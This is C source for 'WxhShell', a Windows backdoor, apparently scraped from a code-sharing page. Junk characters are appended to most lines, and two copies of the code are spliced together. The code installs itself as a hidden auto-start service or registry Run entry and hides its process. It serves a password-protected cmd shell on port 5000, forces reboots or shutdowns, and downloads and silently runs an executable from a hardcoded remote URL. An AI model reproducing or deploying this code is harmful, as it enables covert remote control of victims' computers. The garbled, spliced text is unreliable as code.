    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sEzl4I  
    else { )&vuT q'7'  
    closesocket(wsh); e<+$E%"7hS  
    ExitThread(0); Rx,5?*b$  
    } g)L<xN8  
    break; [~{'"-3L0  
    } ;m#_Rj6  
  // 获取shell Kv ~'*A)d  
  case 's': { Ls6C*<8  
    CmdShell(wsh); ;>*Pwz`~jT  
    closesocket(wsh); t/B4?A@C  
    ExitThread(0); U~I y),5  
    break; o*sss  
  } [!ilcHE)  
  // 退出 &qyXi[vw  
  case 'x': { ?"-1QG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;FnU[Q`M#L  
    CloseIt(wsh); E]dc4US  
    break; twP%+/g]<  
    } }Yargj_Gn  
  // 离开 \]|(w*C  
  case 'q': { 0`KR8# A@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *4OB 88$  
    closesocket(wsh); h$l`)AH^  
    WSACleanup(); 76(/(v.x  
    exit(1); !x[].Urj  
    break; Pe/8=+qO  
        } 6lob&+  
  } ?M B Od9  
  } ~A03J:Yc7  
/{>_'0  
  // 提示信息 u9u'!hAGH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V>(>wSR  
} nq qqP  
  } k7kPeq  
L};P*{q2Z  
  return; 3g87ir  
} L Z}m;  
p\22_m_wd  
// shell模块句柄 ;pt.)5  
int CmdShell(SOCKET sock) hV}C.- 6h  
{ C 8KV<k  
STARTUPINFO si;  {HbSty  
ZeroMemory(&si,sizeof(si)); '37 <+N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'OI(MuSn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ib%'{?Q.  
PROCESS_INFORMATION ProcessInfo; k2/t~|5  
char cmdline[]="cmd"; w0PAtu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R5N~%Dg)3  
  return 0; PwnfXsR  
} dR!x)oO=  
1Vx>\A  
// 自身启动模式 e/b | sl  
int StartFromService(void) xV"~?vD  
{ 8lFYk`|g  
typedef struct s1bb2R  
{ uaqV)H  
  DWORD ExitStatus; i hcSSUm  
  DWORD PebBaseAddress; nm,(Wdr  
  DWORD AffinityMask; 2$b JMx>  
  DWORD BasePriority; wGgeK,*_  
  ULONG UniqueProcessId; @k9n0Qe|F  
  ULONG InheritedFromUniqueProcessId; z:oi @q  
}   PROCESS_BASIC_INFORMATION; U;#G $  
($Q|9>5,  
PROCNTQSIP NtQueryInformationProcess; [&pMU)   
HdRwDW@7=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xbz O' C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A [_T~+-G  
xg;vQKS6  
  HANDLE             hProcess; Nz>xilU'  
  PROCESS_BASIC_INFORMATION pbi; vLpIVNA]]Y  
|]eWO#vs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >{[  
  if(NULL == hInst ) return 0;  Y-+JDrK  
l p|`n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qNWSDZQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5a|{ytP   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DD}YbuO7  
#xw3a<z?u  
  if (!NtQueryInformationProcess) return 0; K=> j+a5$  
7c83g2|%   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F_@?'#m  
  if(!hProcess) return 0; vi]cl=S  
63QF1*gPH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q@[(0R1  
CYYo+5x  
  CloseHandle(hProcess); O-ppR7edh  
oG\lejO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <B!DwMk;.  
if(hProcess==NULL) return 0; NH4T*R)Vz  
1[!7xA0j  
HMODULE hMod; :OV6R ,  
char procName[255]; [Pl''[  
unsigned long cbNeeded; B & ]GGy  
5| Oj\L{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f^lhdZ\  
q+ `QiPj  
  CloseHandle(hProcess); qW S"I+o,S  
#'y&M t  
if(strstr(procName,"services")) return 1; // 以服务启动 ul]hvK{2  
Bh7hF?c Sj  
  return 0; // 注册表启动 ccT <UIpq  
} y"k %Wa`*  
[#%@,C  
// 主模块 P1R[M|Fx  
int StartWxhshell(LPSTR lpCmdLine) 3`;1;T2$B  
{ (9b%'@A@m  
  SOCKET wsl; zU'7x U-  
BOOL val=TRUE; Y]!&, e,  
  int port=0; S R s  
  struct sockaddr_in door; >J#/IjCW  
P 1  
  if(wscfg.ws_autoins) Install(); ^91Ae!)d  
#'n.az=1  
port=atoi(lpCmdLine); BS%pS(  
hFnUw2 6P  
if(port<=0) port=wscfg.ws_port; )Myx(w"S  
WLiFD.  
  WSADATA data; N*+WGsxl$z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IY|`$sHb  
`VF_rC[?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yb,$UT"]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jp= )L  
  door.sin_family = AF_INET; 7>h(M+ /  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ii<k<Bt,  
  door.sin_port = htons(port); ~V0 GRPnI  
q2s=>J';  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YF>1 5{H  
closesocket(wsl); #kE8EhQZ  
return 1; Gd$!xN %O  
} u> =\.d <  
F$i 6  
  if(listen(wsl,2) == INVALID_SOCKET) { 39I|.B"  
closesocket(wsl); < <F  
return 1; p_vl dTIW  
} s>%.bAxc  
  Wxhshell(wsl); d[Zx [=h  
  WSACleanup(); f4VdH#eng`  
/PbMt  
return 0; @$nh6l>i  
z]D/Qr  
} {$ > .I  
dKhS;!K9p  
// 以NT服务方式启动 4q.yp0E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5F!i%{XQvm  
{ eZD"!AT  
DWORD   status = 0; }2S)CL=  
  DWORD   specificError = 0xfffffff; {R"mvB`  
{`-AIlH(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p+0gE5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vy` lfbX@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "H=N>=g0E  
  serviceStatus.dwWin32ExitCode     = 0; ^XG$?2<U  
  serviceStatus.dwServiceSpecificExitCode = 0; E!uQ>'iq.  
  serviceStatus.dwCheckPoint       = 0; D&i, `j  
  serviceStatus.dwWaitHint       = 0; ) I(9qt>Y  
XA;f.u  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nW<nOKTnk_  
  if (hServiceStatusHandle==0) return; bjI3xAs~  
?H>^X)Ph  
status = GetLastError(); &[SFl{fx>-  
  if (status!=NO_ERROR) brG!TJ   
{ KT+{-"4-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0/1=2E ^,  
    serviceStatus.dwCheckPoint       = 0; d c/^  
    serviceStatus.dwWaitHint       = 0; RJKi98xwJ  
    serviceStatus.dwWin32ExitCode     = status; rITA-W O  
    serviceStatus.dwServiceSpecificExitCode = specificError; /qMiv7m~Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `jyyRwSoe  
    return; Db  !8N  
  } w`fbUh6/  
O*Y?: t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ].2t7{64  
  serviceStatus.dwCheckPoint       = 0; :4\%a4{Ie  
  serviceStatus.dwWaitHint       = 0; ";7/8(LBZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f=.!/e70  
} (F9e.QyWb  
D!ASO]  
// 处理NT服务事件,比如:启动、停止 ; 6PRi/@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) R_>.O?U4  
{ hwA&SS  
switch(fdwControl) KP 6vb@(6  
{ O#p_rfQ  
case SERVICE_CONTROL_STOP: 5<Uh2c  
  serviceStatus.dwWin32ExitCode = 0; W*Ow%$%2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %I{>H%CjE  
  serviceStatus.dwCheckPoint   = 0; 6J@,bB jVz  
  serviceStatus.dwWaitHint     = 0; A&M(a  
  { 78 ]Kv^l^_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;?q}98-2  
  } < Wp)Y  
  return; \3"B$Sp|=  
case SERVICE_CONTROL_PAUSE: Vw.)T/B_D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G B"Orm.  
  break; 1Kr$JIcd  
case SERVICE_CONTROL_CONTINUE: 2 |JEGyDS-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; EUVD)+it  
  break; :U/]*0b  
case SERVICE_CONTROL_INTERROGATE: #Ma:Av/ )  
  break; !0P:G#o-$  
}; w%..*+P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JYmYX-  
} '.<c[Mp  
cd=|P?B i  
// 标准应用程序主函数 q'4P/2)va  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fD3'Ye<R  
{ ^,F G 9  
z]-m<#1  
// 获取操作系统版本 &328pOT4  
OsIsNt=GetOsVer(); "6U@e0ht  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <QC7HR  
H_Va$}8z  
  // 从命令行安装 &:u3-:$:9  
  if(strpbrk(lpCmdLine,"iI")) Install(); #I*{_|}=  
9Kg yt  
  // 下载执行文件 sC.r$K+k5  
if(wscfg.ws_downexe) { `9gV8u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >B=s+ }/ME  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7l[ @c|e  
} i$`o,m#  
ZJc{P5a1J  
if(!OsIsNt) { r:$*pC&{  
// 如果时win9x,隐藏进程并且设置为注册表启动 m#i4_F=^b  
HideProc(); e|5@7~Vi  
StartWxhshell(lpCmdLine); I/!AjB8W4  
} t&F:C  
else `#wEa'v6  
  if(StartFromService()) q@O  
  // 以服务方式启动 s6Dkh}:d  
  StartServiceCtrlDispatcher(DispatchTable); (5,x5l]-N  
else (6NDY5h~=n  
  // 普通方式启动 S'W,AkT  
  StartWxhshell(lpCmdLine); d*VvQU8C  
IR$d?\O3  
return 0; N)Q.P'`N  
} g5"I{ol5T~  
TJZ/lJU  
[CfZE  
\8m9^Z7IfK  
=========================================== *OdmKVw6G  
J\w4N",  
p Zlt4  
4nP4F +  
;|Hpg_~%>  
6R^32VeK($  
" C.":2F;-e  
jDTG15_=  
#include <stdio.h> R4R\B  
#include <string.h> :T?WN+3  
#include <windows.h> C22h*QM*  
#include <winsock2.h> r<Z.J/a  
#include <winsvc.h> CTKw2`5u  
#include <urlmon.h> 'q_Z dw%  
0Zp5y@ V8  
#pragma comment (lib, "Ws2_32.lib") Z 4i5,f  
#pragma comment (lib, "urlmon.lib") .-![ ra  
],[<^=|  
#define MAX_USER   100 // 最大客户端连接数 SZLugyZ2Y  
#define BUF_SOCK   200 // sock buffer m@+QC$6S  
#define KEY_BUFF   255 // 输入 buffer &JKQH  
doe3V-if  
#define REBOOT     0   // 重启 `OgT"FdL!  
#define SHUTDOWN   1   // 关机 0Z]HH+Z;  
T3<1{"&  
#define DEF_PORT   5000 // 监听端口 CGlEc  
 s!  
#define REG_LEN     16   // 注册表键长度 &A.0(s  
#define SVC_LEN     80   // NT服务名长度 lMh>eX  
LyNmn.nN  
// 从dll定义API reArXmU<u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !iNwJ|0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C4d'z(<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); CLe{9-o  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s8 MQ:eAP  
` - P1Y  
// wxhshell配置信息 a#i|)[  
struct WSCFG { +9|0\Q  
  int ws_port;         // 监听端口 00f'G2n  
  char ws_passstr[REG_LEN]; // 口令 .5!`wwVi  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,7:-V<'Yv  
  char ws_regname[REG_LEN]; // 注册表键名 ]s^+/8d=  
  char ws_svcname[REG_LEN]; // 服务名 i2(v7Gef  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !.q99DB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |<,0*2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O9_1a=M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8@(?E[&O>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @_$$'XA7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IHi[3xf<  
@Lf&[_  
}; >`a^E1)  
Vp~ cN  
// default Wxhshell configuration ,dK)I1"C  
struct WSCFG wscfg={DEF_PORT, @RszPH1B  
    "xuhuanlingzhe", H25Qx;(dTk  
    1, pjTJZhT2I  
    "Wxhshell", gp{C89gP  
    "Wxhshell", SiaW; ks  
            "WxhShell Service", /5"T46jD  
    "Wrsky Windows CmdShell Service", d0ht*b  
    "Please Input Your Password: ", !X$19"  
  1, H lM7^3(&  
  "http://www.wrsky.com/wxhshell.exe", ~Js kA5h|&  
  "Wxhshell.exe" mVYfyLZ,(  
    }; *c=vEQn-  
f(blqO.@l  
// 消息定义模块 <]KQ$8dtD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4vN:Kj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mIDVN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bE mN tp^  
char *msg_ws_ext="\n\rExit."; bHx@   
char *msg_ws_end="\n\rQuit."; D_JGbNigA  
char *msg_ws_boot="\n\rReboot..."; {47l1wV]  
char *msg_ws_poff="\n\rShutdown..."; EK[J!~  
char *msg_ws_down="\n\rSave to "; `[#id@Z1  
]1>R8  
char *msg_ws_err="\n\rErr!"; TI l 'Z7  
char *msg_ws_ok="\n\rOK!"; 4@Db $PHs  
;L-)$Dy4  
char ExeFile[MAX_PATH]; WwZ3hd  
int nUser = 0; s$fX ;  
HANDLE handles[MAX_USER]; Ai[@2AyU  
int OsIsNt; K$qY^oyQFw  
Me? I8:/  
SERVICE_STATUS       serviceStatus; k[ D,du')  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jVN06,3z  
NQ[X=a8N  
// 函数声明 ZYY2pY 1  
int Install(void); P*7G?  
int Uninstall(void); Y Z8[h`z  
int DownloadFile(char *sURL, SOCKET wsh); >K4Nn(~ys  
int Boot(int flag); BgUp~zdo  
void HideProc(void); z_R^C%0k  
int GetOsVer(void); /@1YlxKF  
int Wxhshell(SOCKET wsl); 52Lp_M  
void TalkWithClient(void *cs); {5X,xdzR  
int CmdShell(SOCKET sock); _4L6  
int StartFromService(void); 5fiWo^s}  
int StartWxhshell(LPSTR lpCmdLine); %bF157X5An  
K x) PK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LS9,:!$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I}|a7,8   
*VJISJC  
// 数据结构和表定义 iEr?s-or  
SERVICE_TABLE_ENTRY DispatchTable[] = \n,L600`q  
{ 0k16f3uI   
{wscfg.ws_svcname, NTServiceMain}, *<67h*|)  
{NULL, NULL} r5nHYV&7  
}; gYrB@W; 2  
wL, -"  
// 自我安装 #>)z}a]  
int Install(void) ]ilLed  
{ Y7p@NG&1q  
  char svExeFile[MAX_PATH]; & ck}3\sQ  
  HKEY key; #;^UW  
  strcpy(svExeFile,ExeFile); _z BfNz9D  
Q Kr/  
// 如果是win9x系统,修改注册表设为自启动 h0k?(O  
if(!OsIsNt) { ;Bz| hB{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k;t G-~\d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EwV$2AK  
  RegCloseKey(key); H,GjPIG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9d/- +j'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \a|~#N3?  
  RegCloseKey(key); lGR0-Gh2  
  return 0; bsU$$;  
    } Y %bb-|\W  
  } B&rNgG7~  
} UxHI6,b  
else { SDE+"MjBY  
hR7uAk_?  
// 如果是NT以上系统,安装为系统服务  I2i'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7* Y*_cH5  
if (schSCManager!=0) 5rck]L'  
{ |36%B7H  
  SC_HANDLE schService = CreateService Bx5xtJ|!  
  ( GfK%UZ$C  
  schSCManager, `f&::>5tD  
  wscfg.ws_svcname, a*X{hU 9P  
  wscfg.ws_svcdisp, g3[-[G^5  
  SERVICE_ALL_ACCESS, S g1[p#U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , wS9V@  
  SERVICE_AUTO_START, rYdNn0mh k  
  SERVICE_ERROR_NORMAL, "xTVu57Z[  
  svExeFile, K.wRz/M& g  
  NULL, z Gg)R  
  NULL, #\Y`?  
  NULL, >%92,hg  
  NULL, H^S<bZ  
  NULL :P2!& W  
  ); <^5$))r  
  if (schService!=0) NI,>$@{  
  { p\;8?x  
  CloseServiceHandle(schService); %RtL4"M2j  
  CloseServiceHandle(schSCManager); zo "L9&Hzo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gvWgw7z  
  strcat(svExeFile,wscfg.ws_svcname); /LWk>[Z;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;-py h(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hO.b?>3NL  
  RegCloseKey(key); L7(FD v,?  
  return 0; e/+.^ '{  
    } GU/P%c/V  
  } +3zQ"lLD^  
  CloseServiceHandle(schSCManager); [DeDU:  
} Ty{ SZU J  
} fm^`   
VUUnB<j  
return 1; PH8 88O  
} nZ'jjS[!  
Nk\ni>Du3  
// 自我卸载 ,ps?@lD  
int Uninstall(void) /"A=Yf  
{ ai?J  
  HKEY key; 2Ul8<${c{  
EHf,VIC8  
if(!OsIsNt) { V~/@KU8cH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '9.@r\g  
  RegDeleteValue(key,wscfg.ws_regname); M"s:*c_6  
  RegCloseKey(key); !^MwE]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =e#h;x2  
  RegDeleteValue(key,wscfg.ws_regname); n]4Elrxx  
  RegCloseKey(key); (#>X*~6  
  return 0; Fyw X  
  } u5rvrn ]  
} DN=W2MEfc  
} =kwz3Wv  
else { l(Hz9  
H"w;~;h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ydOG8EI  
if (schSCManager!=0) Oj%5FUP~[%  
{ jGkDD8K [  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v+g:0 C5 (  
  if (schService!=0) s92ol0`  
  {  9Ca0Tu  
  if(DeleteService(schService)!=0) { 7DK}c]js  
  CloseServiceHandle(schService); RaSuzy^`*]  
  CloseServiceHandle(schSCManager); -UidU+ES;  
  return 0; aiz ws[C  
  } }[!=O+g O  
  CloseServiceHandle(schService); 0%&}wUjV  
  } )XSHKPTQ1  
  CloseServiceHandle(schSCManager); T&6>Eb0{  
} yLCMu | +  
} X0j>g^b8  
W(ryL_#;  
return 1; ,jz~Np_2  
} ~V?z!3r-)  
]CcRI|g}  
// 从指定url下载文件 _\k?uUo&,^  
int DownloadFile(char *sURL, SOCKET wsh) ;! ?l8R  
{ 1@LUxU#Uu$  
  HRESULT hr; J"E _i]  
char seps[]= "/"; ^.@%n1I"5y  
char *token; ~e,l2 <  
char *file; ~cO iv  
char myURL[MAX_PATH]; vdUKIP =|_  
char myFILE[MAX_PATH]; .UX4p =  
kUGFg{"  
strcpy(myURL,sURL); v]Pyz<+  
  token=strtok(myURL,seps); R%2.N!8v  
  while(token!=NULL) 7>MG8pf3a  
  { 2o[ceEg  
    file=token; gx^!&>eIb#  
  token=strtok(NULL,seps); vmNI$ KZM  
  } b5%<},ySq  
l0t(t*[Mj  
GetCurrentDirectory(MAX_PATH,myFILE); ,m0 M:!hK  
strcat(myFILE, "\\"); 7y30TU  
strcat(myFILE, file); y?r`[{L(lA  
  send(wsh,myFILE,strlen(myFILE),0); M/[_~  
send(wsh,"...",3,0); ^K J#dT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ug0c0z!b  
  if(hr==S_OK) z8kebS&5  
return 0; V,& OO  
else e#}Fm;|d  
return 1; -\%5aXr  
/ s Apj  
} \@h$|nb  
nLk`W"irM  
// 系统电源模块 6/g 82kqpk  
int Boot(int flag) e&!c8\F  
{ pd,d"+  
  HANDLE hToken; /TB{|_HbW  
  TOKEN_PRIVILEGES tkp; ^A\(M%*F  
M(\{U"%@?  
  if(OsIsNt) { |XQ_4{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s}UJv\*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LTA0WgzR)  
    tkp.PrivilegeCount = 1; u~ FVI  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Oop6o $k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); wmR~e  
if(flag==REBOOT) { ^@=4HtA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lqrI*@>Tz  
  return 0; ,1CmB@  
} b$nev[`{6  
else { 2-UD^;0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $g VbeQ  
  return 0; >;j&]]-&  
} W79.Nj2`  
  } |${ImP  
  else { `?l /HUw  
if(flag==REBOOT) { yXEI%2~)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UYy #DA  
  return 0; {=J:  
} }C[ "'tLX  
else { EAWBgOO8iC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %}~(%@qB>+  
  return 0; )'7Qd(4WT  
} ?A.ah  
} %c]N-  
Dz2Z (EXI~  
return 1; }Cfl|t<5f  
} |-*50j l  
Us# /#-hJ  
// win9x进程隐藏模块 @\oZ2sB  
void HideProc(void) ?0sTx6x@  
{ GCr]x '  
n?D/bXp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?5};ONjN  
  if ( hKernel != NULL ) Vep 41\g^  
  { a\,V>}e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NZ8X@|N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L"S2+F)n  
    FreeLibrary(hKernel); B2LXF3#/  
  } y|0/;SjV  
 Q3bU"f  
return; WL,2<[)Ew  
} c 8Q2H  
]b1>bv%  
// 获取操作系统版本 1!U:M8T|  
int GetOsVer(void) jyyig%  
{ b9T6JS j  
  OSVERSIONINFO winfo; DYIp2-K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )~"0d;6_  
  GetVersionEx(&winfo); : #n>Q1}x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Tw*p^rU  
  return 1; *$;Zk!sEF  
  else a ^juZ  
  return 0; {(Mmv[y  
} `Z{s,!z  
z_KCG2=5  
// 客户端句柄模块 -h ^MX  
int Wxhshell(SOCKET wsl) \4<|QE  
{ rp1+K4]P  
  SOCKET wsh; >X iT[Ru  
  struct sockaddr_in client; #bG6+"g{=L  
  DWORD myID; {0/2Hw n  
8gt*`]I  
  while(nUser<MAX_USER) Bzt:9hr6BO  
{ N. nGez  
  int nSize=sizeof(client);  ZpBP#Y*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); NN+;I^NqW&  
  if(wsh==INVALID_SOCKET) return 1; xA2I+r*o  
_.]mES|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); s!MD8i a  
if(handles[nUser]==0) kj4=Q\Rfm  
  closesocket(wsh); 5X5UUdTM  
else @y * TVy  
  nUser++; rHOhi|+  
  } `e3$jy@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N6+^}2' *)  
Y8lZ]IB  
  return 0; SH8zkAA7u}  
} B#5[PX  
-lv(@7o~  
// 关闭 socket $XkO\6kh  
void CloseIt(SOCKET wsh) gyh8  
{ +NvpYz  
closesocket(wsh); jr#*;go  
nUser--; E&@#*~   
ExitThread(0); <_=O0 t| 6  
} g$hEVT  
b<"jmB{  
// 客户端请求句柄 WMWMb3  
void TalkWithClient(void *cs) QSM3qke  
{ SlT>S1`rnG  
cQBc6eAi  
  SOCKET wsh=(SOCKET)cs; #QSSpsF@  
  char pwd[SVC_LEN]; Sx0{]1J  
  char cmd[KEY_BUFF]; @k'V`ZQF  
char chr[1]; j]R[;8g  
int i,j; T VSCjI  
Ux=B*m1@{  
  while (nUser < MAX_USER) { a +~b3  
k:@N6K/$P^  
if(wscfg.ws_passstr) { alNn(0MG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  _X=6M gU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zA3r&stN+  
  //ZeroMemory(pwd,KEY_BUFF); .J+F H G'  
      i=0; kFyp;=d:K  
  while(i<SVC_LEN) { Lg#(?tMp,'  
Lh.-*H  
  // 设置超时 >@4AxV\  
  fd_set FdRead; 3kF+wifsz  
  struct timeval TimeOut; R1%J6wZq  
  FD_ZERO(&FdRead); Q%J,: J  
  FD_SET(wsh,&FdRead); S}]B|Q  
  TimeOut.tv_sec=8; +$2`"%nBG  
  TimeOut.tv_usec=0; m9&%A0  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ocUBSK|K)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ovXk~%_  
o>Dd1 j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KQw>6)  
  pwd=chr[0]; S0r+Y0J]<  
  if(chr[0]==0xd || chr[0]==0xa) { g:G5'pZf  
  pwd=0; e:.?T\  
  break; pm:-E(3#  
  } aX |(%1r  
  i++; (FgX9SV]p9  
    } ZB/1I;l`c  
%Lh+W<;  
  // 如果是非法用户,关闭 socket UK,sMKbl1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XAtRA1.  
} =9 ^}>u  
w8J8III\~  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zt=P 0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y+{)4ptg$<  
)ZrB-(u~k  
while(1) { p T z]8[^  
+qT+iHa|n  
  ZeroMemory(cmd,KEY_BUFF); 8$ #z>  
m!P<# |V  
      // 自动支持客户端 telnet标准   @'?gan#(  
  j=0; a69e^;,>q  
  while(j<KEY_BUFF) { se=^K#o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :h3n[%  
  cmd[j]=chr[0]; dZb;`DjTH  
  if(chr[0]==0xa || chr[0]==0xd) { ({!H ()  
  cmd[j]=0; j?k|-0  
  break; 87eH~&<1  
  } h/8p2Mrqi  
  j++; VhAJ1[k4!  
    } Ip)u6We>I  
K~S*<?  
  // 下载文件 nXI8`7D  
  if(strstr(cmd,"http://")) { c813NHW  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <X1 lq9 lW  
  if(DownloadFile(cmd,wsh)) DxpJP,wY3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y3(I;~$!  
  else yaWY>sB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +*Uv+oC|  
  } 0G33hIOS  
  else { -Wh 2hWg+  
{9x>@p/  
    switch(cmd[0]) { ;f N^MW@&[  
  _Rk vg-  
  // 帮助 dn Sb}J  
